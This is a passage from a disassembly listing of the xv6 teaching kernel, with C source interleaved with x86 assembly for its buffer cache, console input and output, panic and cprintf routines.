801001a3: 53 push %ebx 801001a4: 83 ec 10 sub $0x10,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 50 push %eax 801001ae: e8 cd 40 00 00 call 80104280 <holdingsleep> 801001b3: 83 c4 10 add $0x10,%esp 801001b6: 85 c0 test %eax,%eax 801001b8: 74 0f je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001ba: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bd: 89 5d 08 mov %ebx,0x8(%ebp) } 801001c0: 8b 5d fc mov -0x4(%ebp),%ebx 801001c3: c9 leave iderw(b); 801001c4: e9 57 1f 00 00 jmp 80102120 <iderw> panic("bwrite"); 801001c9: 83 ec 0c sub $0xc,%esp 801001cc: 68 ff 6f 10 80 push $0x80106fff 801001d1: e8 ba 01 00 00 call 80100390 <panic> 801001d6: 8d 76 00 lea 0x0(%esi),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001e8: 83 ec 0c sub $0xc,%esp 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 56 push %esi 801001ef: e8 8c 40 00 00 call 80104280 <holdingsleep> 801001f4: 83 c4 10 add $0x10,%esp 801001f7: 85 c0 test %eax,%eax 801001f9: 74 66 je 80100261 <brelse+0x81> panic("brelse"); releasesleep(&b->lock); 801001fb: 83 ec 0c sub $0xc,%esp 801001fe: 56 push %esi 801001ff: e8 3c 40 00 00 call 80104240 <releasesleep> acquire(&bcache.lock); 80100204: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010020b: e8 00 42 00 00 call 80104410 <acquire> b->refcnt--; 80100210: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100213: 83 c4 10 add $0x10,%esp b->refcnt--; 80100216: 83 e8 01 sub $0x1,%eax if (b->refcnt == 0) { 80100219: 85 c0 test %eax,%eax b->refcnt--; 8010021b: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 8010021e: 75 2f jne 8010024f <brelse+0x6f> // no one is waiting for it. b->next->prev = b->prev; 80100220: 8b 43 54 mov 0x54(%ebx),%eax 80100223: 8b 53 50 mov 0x50(%ebx),%edx 80100226: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 80100229: 8b 43 50 mov 0x50(%ebx),%eax 8010022c: 8b 53 54 mov 0x54(%ebx),%edx 8010022f: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100232: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 80100237: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 8010023e: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100241: a1 10 fd 10 80 mov 0x8010fd10,%eax 80100246: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 80100249: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 8010024f: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 80100256: 8d 65 f8 lea -0x8(%ebp),%esp 80100259: 5b pop %ebx 8010025a: 5e pop %esi 8010025b: 5d pop %ebp release(&bcache.lock); 8010025c: e9 6f 42 00 00 jmp 801044d0 <release> panic("brelse"); 80100261: 83 ec 0c sub $0xc,%esp 80100264: 68 06 70 10 80 push $0x80107006 80100269: e8 22 01 00 00 call 80100390 <panic> 8010026e: 66 90 xchg %ax,%ax 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 28 sub $0x28,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 57 push %edi 80100280: e8 db 14 00 00 call 80101760 <iunlock> target = n; acquire(&cons.lock); 80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028c: e8 7f 41 00 00 call 80104410 <acquire> while(n > 0){ 80100291: 8b 5d 10 mov 0x10(%ebp),%ebx 80100294: 83 c4 10 add $0x10,%esp 80100297: 31 c0 xor %eax,%eax 80100299: 85 db test %ebx,%ebx 8010029b: 0f 8e a1 00 00 00 jle 80100342 <consoleread+0xd2> while(input.r == input.w){ 801002a1: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002a7: 39 15 a4 ff 10 80 cmp %edx,0x8010ffa4 801002ad: 74 2c je 801002db <consoleread+0x6b> 801002af: eb 5f jmp 80100310 <consoleread+0xa0> 801002b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b8: 83 ec 08 sub $0x8,%esp 801002bb: 68 20 a5 10 80 push $0x8010a520 801002c0: 68 a0 ff 10 80 push $0x8010ffa0 801002c5: e8 b6 3a 00 00 call 80103d80 <sleep> while(input.r == input.w){ 801002ca: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002d0: 83 c4 10 add $0x10,%esp 801002d3: 3b 15 a4 ff 10 80 cmp 0x8010ffa4,%edx 801002d9: 75 35 jne 80100310 <consoleread+0xa0> if(myproc()->killed){ 801002db: e8 00 35 00 00 call 801037e0 <myproc> 801002e0: 8b 40 24 mov 0x24(%eax),%eax 801002e3: 85 c0 test %eax,%eax 801002e5: 74 d1 je 801002b8 <consoleread+0x48> release(&cons.lock); 801002e7: 83 ec 0c sub $0xc,%esp 801002ea: 68 20 a5 10 80 push $0x8010a520 801002ef: e8 dc 41 00 00 call 801044d0 <release> ilock(ip); 801002f4: 89 3c 24 mov %edi,(%esp) 801002f7: e8 84 13 00 00 call 80101680 <ilock> return -1; 801002fc: 83 c4 10 add $0x10,%esp } release(&cons.lock); ilock(ip); return target - n; } 801002ff: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80100302: b8 ff ff ff ff mov $0xffffffff,%eax } 80100307: 5b pop %ebx 80100308: 5e pop %esi 80100309: 5f pop %edi 8010030a: 5d pop %ebp 8010030b: c3 ret 8010030c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = input.buf[input.r++ % INPUT_BUF]; 80100310: 8d 42 01 lea 0x1(%edx),%eax 80100313: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100318: 89 d0 mov %edx,%eax 8010031a: 83 e0 7f and $0x7f,%eax 8010031d: 0f be 80 20 ff 10 80 movsbl -0x7fef00e0(%eax),%eax if(c == C('D')){ // EOF 80100324: 83 f8 04 cmp $0x4,%eax 80100327: 74 3f je 80100368 <consoleread+0xf8> *dst++ = c; 80100329: 83 c6 01 add $0x1,%esi --n; 8010032c: 83 eb 01 sub $0x1,%ebx if(c == '\n') 8010032f: 83 f8 0a cmp $0xa,%eax *dst++ = c; 80100332: 88 46 ff mov %al,-0x1(%esi) if(c == '\n') 80100335: 74 43 je 8010037a <consoleread+0x10a> while(n > 0){ 80100337: 85 db test %ebx,%ebx 80100339: 0f 85 62 ff ff ff jne 801002a1 <consoleread+0x31> 8010033f: 8b 45 10 mov 0x10(%ebp),%eax release(&cons.lock); 80100342: 83 ec 0c sub $0xc,%esp 80100345: 89 45 e4 mov %eax,-0x1c(%ebp) 80100348: 68 20 a5 10 80 push $0x8010a520 8010034d: e8 7e 41 00 00 call 801044d0 <release> ilock(ip); 80100352: 89 3c 24 mov %edi,(%esp) 80100355: e8 26 13 00 00 call 80101680 <ilock> return target - n; 8010035a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010035d: 83 c4 10 add $0x10,%esp } 80100360: 8d 65 f4 lea -0xc(%ebp),%esp 80100363: 5b pop %ebx 80100364: 5e pop %esi 80100365: 5f pop %edi 80100366: 5d pop %ebp 80100367: c3 ret 80100368: 8b 45 10 mov 0x10(%ebp),%eax 8010036b: 29 d8 sub %ebx,%eax if(n < target){ 8010036d: 3b 5d 10 cmp 0x10(%ebp),%ebx 80100370: 73 d0 jae 80100342 <consoleread+0xd2> input.r--; 80100372: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 80100378: eb c8 jmp 80100342 <consoleread+0xd2> 8010037a: 8b 45 10 mov 0x10(%ebp),%eax 8010037d: 29 d8 sub %ebx,%eax 8010037f: eb c1 jmp 80100342 <consoleread+0xd2> 80100381: eb 0d jmp 80100390 <panic> 80100383: 90 nop 80100384: 90 nop 80100385: 90 nop 80100386: 90 nop 80100387: 90 nop 80100388: 90 nop 80100389: 90 nop 8010038a: 90 nop 8010038b: 90 nop 8010038c: 90 nop 8010038d: 90 nop 8010038e: 90 nop 8010038f: 90 nop 80100390 <panic>: { 80100390: 55 push %ebp 80100391: 89 e5 mov %esp,%ebp 80100393: 56 push %esi 80100394: 53 push %ebx 80100395: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 80100398: fa cli cons.locking = 0; 80100399: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 801003a0: 00 00 00 getcallerpcs(&s, pcs); 801003a3: 8d 5d d0 lea -0x30(%ebp),%ebx 801003a6: 8d 75 f8 lea -0x8(%ebp),%esi cprintf("lapicid %d: panic: ", lapicid()); 801003a9: e8 82 23 00 00 call 80102730 <lapicid> 801003ae: 83 ec 08 sub $0x8,%esp 801003b1: 50 push %eax 801003b2: 68 0d 70 10 80 push $0x8010700d 801003b7: e8 a4 02 00 00 call 80100660 <cprintf> cprintf(s); 801003bc: 58 pop %eax 801003bd: ff 75 08 pushl 0x8(%ebp) 801003c0: e8 9b 02 00 00 call 80100660 <cprintf> cprintf("\n"); 801003c5: c7 04 24 43 76 10 80 movl $0x80107643,(%esp) 801003cc: e8 8f 02 00 00 call 80100660 <cprintf> getcallerpcs(&s, pcs); 801003d1: 5a pop %edx 801003d2: 8d 45 08 lea 0x8(%ebp),%eax 801003d5: 59 pop %ecx 801003d6: 53 push %ebx 801003d7: 50 push %eax 801003d8: e8 13 3f 00 00 call 801042f0 <getcallerpcs> 801003dd: 83 c4 10 add $0x10,%esp cprintf(" %p", pcs[i]); 801003e0: 83 ec 08 sub $0x8,%esp 801003e3: ff 33 pushl (%ebx) 801003e5: 83 c3 04 add $0x4,%ebx 801003e8: 68 21 70 10 80 push $0x80107021 801003ed: e8 6e 02 00 00 call 80100660 <cprintf> for(i=0; i<10; i++) 801003f2: 83 c4 10 add $0x10,%esp 801003f5: 39 f3 cmp %esi,%ebx 801003f7: 75 e7 jne 801003e0 <panic+0x50> panicked = 1; // freeze other CPU 801003f9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 80100400: 00 00 00 80100403: eb fe jmp 80100403 <panic+0x73> 80100405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100410 <consputc>: if(panicked){ 80100410: 8b 0d 58 a5 10 80 mov 0x8010a558,%ecx 80100416: 85 c9 test %ecx,%ecx 80100418: 74 06 je 80100420 <consputc+0x10> 8010041a: fa cli 8010041b: eb fe jmp 8010041b <consputc+0xb> 8010041d: 8d 76 00 lea 0x0(%esi),%esi { 80100420: 55 push %ebp 80100421: 89 e5 mov %esp,%ebp 80100423: 57 push %edi 80100424: 56 push %esi 80100425: 53 push %ebx 80100426: 89 c6 mov %eax,%esi 80100428: 83 ec 0c sub $0xc,%esp if(c == BACKSPACE){ 8010042b: 3d 00 01 00 00 cmp $0x100,%eax 80100430: 0f 84 b1 00 00 00 je 801004e7 <consputc+0xd7> uartputc(c); 80100436: 83 ec 0c sub $0xc,%esp 80100439: 50 push %eax 8010043a: e8 a1 57 00 00 call 80105be0 <uartputc> 8010043f: 83 c4 10 add $0x10,%esp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100442: bb d4 03 00 00 mov $0x3d4,%ebx 80100447: b8 0e 00 00 00 mov $0xe,%eax 8010044c: 89 da mov %ebx,%edx 8010044e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010044f: b9 d5 03 00 00 mov $0x3d5,%ecx 80100454: 89 ca mov %ecx,%edx 80100456: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100457: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010045a: 89 da mov %ebx,%edx 8010045c: c1 e0 08 shl $0x8,%eax 8010045f: 89 c7 mov %eax,%edi 80100461: b8 0f 00 00 00 mov $0xf,%eax 80100466: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100467: 89 ca mov %ecx,%edx 80100469: ec in (%dx),%al 8010046a: 0f b6 d8 movzbl %al,%ebx pos |= inb(CRTPORT+1); 8010046d: 09 fb or %edi,%ebx if(c == '\n') 8010046f: 83 fe 0a cmp $0xa,%esi 80100472: 0f 84 f3 00 00 00 je 8010056b <consputc+0x15b> else if(c == BACKSPACE){ 80100478: 81 fe 00 01 00 00 cmp $0x100,%esi 8010047e: 0f 84 d7 00 00 00 je 8010055b <consputc+0x14b> crt[pos++] = (c&0xff) | 0x0700; // black on white 80100484: 89 f0 mov %esi,%eax 80100486: 0f b6 c0 movzbl %al,%eax 80100489: 80 cc 07 or $0x7,%ah 8010048c: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 80100493: 80 80100494: 83 c3 01 add $0x1,%ebx if(pos < 0 || pos > 25*80) 80100497: 81 fb d0 07 00 00 cmp $0x7d0,%ebx 8010049d: 0f 8f ab 00 00 00 jg 8010054e <consputc+0x13e> if((pos/80) >= 24){ // Scroll up. 801004a3: 81 fb 7f 07 00 00 cmp $0x77f,%ebx 801004a9: 7f 66 jg 80100511 <consputc+0x101> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801004ab: be d4 03 00 00 mov $0x3d4,%esi 801004b0: b8 0e 00 00 00 mov $0xe,%eax 801004b5: 89 f2 mov %esi,%edx 801004b7: ee out %al,(%dx) 801004b8: b9 d5 03 00 00 mov $0x3d5,%ecx outb(CRTPORT+1, pos>>8); 801004bd: 89 d8 mov %ebx,%eax 801004bf: c1 f8 08 sar $0x8,%eax 801004c2: 89 ca mov %ecx,%edx 801004c4: ee out %al,(%dx) 801004c5: b8 0f 00 00 00 mov $0xf,%eax 801004ca: 89 f2 mov %esi,%edx 801004cc: ee out %al,(%dx) 801004cd: 89 d8 mov %ebx,%eax 801004cf: 89 ca mov %ecx,%edx 801004d1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004d2: b8 20 07 00 00 mov $0x720,%eax 801004d7: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 801004de: 80 } 801004df: 8d 65 f4 lea -0xc(%ebp),%esp 801004e2: 5b pop %ebx 801004e3: 5e pop %esi 801004e4: 5f pop %edi 801004e5: 5d pop %ebp 801004e6: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004e7: 83 ec 0c sub $0xc,%esp 801004ea: 6a 08 push $0x8 801004ec: e8 ef 56 00 00 call 80105be0 <uartputc> 801004f1: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004f8: e8 e3 56 00 00 call 80105be0 <uartputc> 801004fd: c7 04 24 08 00 00 00 movl $0x8,(%esp) 80100504: e8 d7 56 00 00 call 80105be0 <uartputc> 80100509: 83 c4 10 add $0x10,%esp 8010050c: e9 31 ff ff ff jmp 80100442 <consputc+0x32> memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100511: 52 push %edx 80100512: 68 60 0e 00 00 push $0xe60 pos -= 80; 80100517: 83 eb 50 sub $0x50,%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 8010051a: 68 a0 80 0b 80 push $0x800b80a0 8010051f: 68 00 80 0b 80 push $0x800b8000 80100524: e8 a7 40 00 00 call 801045d0 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100529: b8 80 07 00 00 mov $0x780,%eax 8010052e: 83 c4 0c add $0xc,%esp 80100531: 29 d8 sub %ebx,%eax 80100533: 01 c0 add %eax,%eax 80100535: 50 push %eax 80100536: 8d 04 1b lea (%ebx,%ebx,1),%eax 80100539: 6a 00 push $0x0 8010053b: 2d 00 80 f4 7f sub $0x7ff48000,%eax 80100540: 50 push %eax 80100541: e8 da 3f 00 00 call 80104520 <memset> 80100546: 83 c4 10 add $0x10,%esp 80100549: e9 5d ff ff ff jmp 801004ab <consputc+0x9b> panic("pos under/overflow"); 8010054e: 83 ec 0c sub $0xc,%esp 80100551: 68 25 70 10 80 push $0x80107025 80100556: e8 35 fe ff ff call 80100390 <panic> if(pos > 0) --pos; 8010055b: 85 db test %ebx,%ebx 8010055d: 0f 84 48 ff ff ff je 801004ab <consputc+0x9b> 80100563: 83 eb 01 sub $0x1,%ebx 80100566: e9 2c ff ff ff jmp 80100497 <consputc+0x87> pos += 80 - pos%80; 8010056b: 89 d8 mov %ebx,%eax 8010056d: b9 50 00 00 00 mov $0x50,%ecx 80100572: 99 cltd 80100573: f7 f9 idiv %ecx 80100575: 29 d1 sub %edx,%ecx 80100577: 01 cb add %ecx,%ebx 80100579: e9 19 ff ff ff jmp 80100497 <consputc+0x87> 8010057e: 66 90 xchg %ax,%ax 80100580 <printint>: { 80100580: 55 push %ebp 80100581: 89 e5 mov %esp,%ebp 80100583: 57 push %edi 80100584: 56 push %esi 80100585: 53 push %ebx 80100586: 89 d3 mov %edx,%ebx 80100588: 83 ec 2c sub $0x2c,%esp if(sign && (sign = xx < 0)) 8010058b: 85 c9 test %ecx,%ecx { 8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp) if(sign && (sign = xx < 0)) 80100590: 74 04 je 80100596 <printint+0x16> 80100592: 85 c0 test %eax,%eax 80100594: 78 5a js 801005f0 <printint+0x70> x = xx; 80100596: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) i = 0; 8010059d: 31 c9 xor %ecx,%ecx 8010059f: 8d 75 d7 lea -0x29(%ebp),%esi 801005a2: eb 06 jmp 801005aa <printint+0x2a> 801005a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi buf[i++] = digits[x % base]; 801005a8: 89 f9 mov %edi,%ecx 801005aa: 31 d2 xor %edx,%edx 801005ac: 8d 79 01 lea 0x1(%ecx),%edi 801005af: f7 f3 div %ebx 801005b1: 0f b6 92 50 70 10 80 movzbl -0x7fef8fb0(%edx),%edx }while((x /= base) != 0); 801005b8: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005ba: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 801005bd: 75 e9 jne 801005a8 <printint+0x28> if(sign) 801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax 801005c2: 85 c0 test %eax,%eax 801005c4: 74 08 je 801005ce <printint+0x4e> buf[i++] = '-'; 801005c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 801005cb: 8d 79 02 lea 0x2(%ecx),%edi 801005ce: 8d 5c 3d d7 lea -0x29(%ebp,%edi,1),%ebx 801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi consputc(buf[i]); 801005d8: 0f be 03 movsbl (%ebx),%eax 801005db: 83 eb 01 sub $0x1,%ebx 801005de: e8 2d fe ff ff call 80100410 <consputc> while(--i >= 0) 801005e3: 39 f3 cmp %esi,%ebx 801005e5: 75 f1 jne 801005d8 <printint+0x58> } 801005e7: 83 c4 2c add $0x2c,%esp 801005ea: 5b pop %ebx 801005eb: 5e pop %esi 801005ec: 5f pop %edi 801005ed: 5d pop %ebp 801005ee: c3 ret 801005ef: 90 nop x = -xx; 801005f0: f7 d8 neg %eax 801005f2: eb a9 jmp 8010059d <printint+0x1d> 801005f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100600 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80100600: 55 push %ebp 80100601: 89 e5 mov %esp,%ebp 80100603: 57 push %edi 80100604: 56 push %esi 80100605: 53 push %ebx 80100606: 83 ec 18 sub $0x18,%esp 80100609: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 8010060c: ff 75 08 pushl 0x8(%ebp) 8010060f: e8 4c 11 00 00 call 80101760 <iunlock> acquire(&cons.lock); 80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010061b: e8 f0 3d 00 00 call 80104410 <acquire> for(i = 0; i < n; i++) 80100620: 83 c4 10 add $0x10,%esp 80100623: 85 f6 test %esi,%esi 80100625: 7e 18 jle 8010063f <consolewrite+0x3f> 80100627: 8b 7d 0c mov 0xc(%ebp),%edi 8010062a: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010062d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100630: 0f b6 07 movzbl (%edi),%eax 80100633: 83 c7 01 add $0x1,%edi 80100636: e8 d5 fd ff ff call 80100410 <consputc> for(i = 0; i < n; i++) 8010063b: 39 fb cmp %edi,%ebx 8010063d: 75 f1 jne 80100630 <consolewrite+0x30> release(&cons.lock); 8010063f: 83 ec 0c sub $0xc,%esp 80100642: 68 20 a5 10 80 push $0x8010a520 80100647: e8 84 3e 00 00 call 801044d0 <release> ilock(ip); 8010064c: 58 pop %eax 8010064d: ff 75 08 pushl 0x8(%ebp) 80100650: e8 2b 10 00 00 call 80101680 <ilock> return n; } 80100655: 8d 65 f4 lea -0xc(%ebp),%esp 80100658: 89 f0 mov %esi,%eax 8010065a: 5b pop %ebx 8010065b: 5e pop %esi 8010065c: 5f pop %edi 8010065d: 5d pop %ebp 8010065e: c3 ret 8010065f: 90 nop 80100660 <cprintf>: { 80100660: 55 push %ebp 80100661: 89 e5 mov %esp,%ebp 80100663: 57 push %edi 80100664: 56 push %esi 80100665: 53 push %ebx 80100666: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100669: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010066e: 85 c0 test %eax,%eax locking = cons.locking; 80100670: 89 45 dc mov %eax,-0x24(%ebp) if(locking) 80100673: 0f 85 6f 01 00 00 jne 801007e8 <cprintf+0x188> if (fmt == 0) 80100679: 8b 45 08 mov 0x8(%ebp),%eax 8010067c: 85 c0 test %eax,%eax 8010067e: 89 c7 mov %eax,%edi 80100680: 0f 84 77 01 00 00 je 801007fd <cprintf+0x19d> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100686: 0f b6 00 movzbl (%eax),%eax argp = (uint*)(void*)(&fmt + 1); 80100689: 8d 4d 0c lea 0xc(%ebp),%ecx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8010068c: 31 db xor %ebx,%ebx argp = (uint*)(void*)(&fmt + 1); 8010068e: 89 4d e4 mov %ecx,-0x1c(%ebp) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100691: 85 c0 test %eax,%eax 80100693: 75 56 jne 801006eb <cprintf+0x8b> 80100695: eb 79 jmp 80100710 <cprintf+0xb0> 80100697: 89 f6 mov %esi,%esi 80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[++i] & 0xff; 801006a0: 0f b6 16 movzbl (%esi),%edx if(c == 0) 801006a3: 85 d2 test %edx,%edx 801006a5: 74 69 je 80100710 <cprintf+0xb0> 801006a7: 83 c3 02 add $0x2,%ebx switch(c){ 801006aa: 83 fa 70 cmp $0x70,%edx 801006ad: 8d 34 1f lea (%edi,%ebx,1),%esi 801006b0: 0f 84 84 00 00 00 je 8010073a <cprintf+0xda> 801006b6: 7f 78 jg 80100730 <cprintf+0xd0> 801006b8: 83 fa 25 cmp $0x25,%edx 801006bb: 0f 84 ff 00 00 00 je 801007c0 <cprintf+0x160> 801006c1: 83 fa 64 cmp $0x64,%edx 801006c4: 0f 85 8e 00 00 00 jne 80100758 <cprintf+0xf8> printint(*argp++, 10, 1); 801006ca: 8b 45 e4 mov -0x1c(%ebp),%eax 801006cd: ba 0a 00 00 00 mov $0xa,%edx 801006d2: 8d 48 04 lea 0x4(%eax),%ecx 801006d5: 8b 00 mov (%eax),%eax 801006d7: 89 4d e4 mov %ecx,-0x1c(%ebp) 801006da: b9 01 00 00 00 mov $0x1,%ecx 801006df: e8 9c fe ff ff call 80100580 <printint> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006e4: 0f b6 06 movzbl (%esi),%eax 801006e7: 85 c0 test %eax,%eax 801006e9: 74 25 je 80100710 <cprintf+0xb0> 801006eb: 8d 53 01 lea 0x1(%ebx),%edx if(c != '%'){ 801006ee: 83 f8 25 cmp $0x25,%eax 801006f1: 8d 34 17 lea (%edi,%edx,1),%esi 801006f4: 74 aa je 801006a0 <cprintf+0x40> 801006f6: 89 55 e0 mov %edx,-0x20(%ebp) consputc(c); 801006f9: e8 12 fd ff ff call 80100410 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006fe: 0f b6 06 movzbl (%esi),%eax continue; 80100701: 8b 55 e0 mov -0x20(%ebp),%edx 80100704: 89 d3 mov %edx,%ebx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100706: 85 c0 test %eax,%eax 80100708: 75 e1 jne 801006eb <cprintf+0x8b> 8010070a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(locking) 80100710: 8b 45 dc mov -0x24(%ebp),%eax 80100713: 85 c0 test %eax,%eax 80100715: 74 10 je 80100727 <cprintf+0xc7> release(&cons.lock); 80100717: 83 ec 0c sub $0xc,%esp 8010071a: 68 20 a5 10 80 push $0x8010a520 8010071f: e8 ac 3d 00 00 call 801044d0 <release> 80100724: 83 c4 10 add $0x10,%esp } 80100727: 8d 65 f4 lea -0xc(%ebp),%esp 8010072a: 5b pop %ebx 8010072b: 5e pop %esi 8010072c: 5f pop %edi 8010072d: 5d pop %ebp 8010072e: c3 ret 8010072f: 90 nop switch(c){ 80100730: 83 fa 73 cmp $0x73,%edx 80100733: 74 43 je 80100778 <cprintf+0x118> 80100735: 83 fa 78 cmp $0x78,%edx 80100738: 75 1e jne 80100758 <cprintf+0xf8> printint(*argp++, 16, 0); 8010073a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010073d: ba 10 00 00 00 mov $0x10,%edx 80100742: 8d 48 04 lea 0x4(%eax),%ecx 80100745: 8b 00 mov (%eax),%eax 80100747: 89 4d e4 mov %ecx,-0x1c(%ebp) 8010074a: 31 c9 xor %ecx,%ecx 8010074c: e8 2f fe ff ff call 80100580 <printint> break; 80100751: eb 91 jmp 801006e4 <cprintf+0x84> 80100753: 90 nop 80100754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100758: b8 25 00 00 00 mov $0x25,%eax 8010075d: 89 55 e0 mov %edx,-0x20(%ebp) 80100760: e8 ab fc ff ff call 80100410 <consputc> consputc(c); 80100765: 8b 55 e0 mov -0x20(%ebp),%edx 80100768: 89 d0 mov %edx,%eax 8010076a: e8 a1 fc ff ff call 80100410 <consputc> break; 8010076f: e9 70 ff ff ff jmp 801006e4 <cprintf+0x84> 80100774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((s = (char*)*argp++) == 0) 80100778: 8b 45 e4 mov -0x1c(%ebp),%eax 8010077b: 8b 10 mov (%eax),%edx 8010077d: 8d 48 04 lea 0x4(%eax),%ecx 80100780: 89 4d e0 mov %ecx,-0x20(%ebp) 80100783: 85 d2 test %edx,%edx 80100785: 74 49 je 801007d0 <cprintf+0x170> for(; *s; s++) 80100787: 0f be 02 movsbl (%edx),%eax if((s = (char*)*argp++) == 0) 8010078a: 89 4d e4 mov %ecx,-0x1c(%ebp) for(; *s; s++) 8010078d: 84 c0 test %al,%al 8010078f: 0f 84 4f ff ff ff je 801006e4 <cprintf+0x84> 80100795: 89 5d e4 mov %ebx,-0x1c(%ebp) 80100798: 89 d3 mov %edx,%ebx 8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801007a0: 83 c3 01 add $0x1,%ebx consputc(*s); 801007a3: e8 68 fc ff ff call 80100410 <consputc> for(; *s; s++) 801007a8: 0f be 03 movsbl (%ebx),%eax 801007ab: 84 c0 test %al,%al 801007ad: 75 f1 jne 801007a0 <cprintf+0x140> if((s = (char*)*argp++) == 0) 801007af: 8b 45 e0 mov -0x20(%ebp),%eax 801007b2: 8b 5d e4 mov -0x1c(%ebp),%ebx 801007b5: 89 45 e4 mov %eax,-0x1c(%ebp) 801007b8: e9 27 ff ff ff jmp 801006e4 <cprintf+0x84> 801007bd: 8d 76 00 lea 0x0(%esi),%esi consputc('%'); 801007c0: b8 25 00 00 00 mov $0x25,%eax 801007c5: e8 46 fc ff ff call 80100410 <consputc> break; 801007ca: e9 15 ff ff ff jmp 801006e4 <cprintf+0x84> 801007cf: 90 nop s = "(null)"; 801007d0: ba 38 70 10 80 mov $0x80107038,%edx for(; *s; s++) 801007d5: 89 5d e4 mov %ebx,-0x1c(%ebp) 801007d8: b8 28 00 00 00 mov $0x28,%eax 801007dd: 89 d3 mov %edx,%ebx 801007df: eb bf jmp 801007a0 <cprintf+0x140> 801007e1: 8d b4 26 00 00 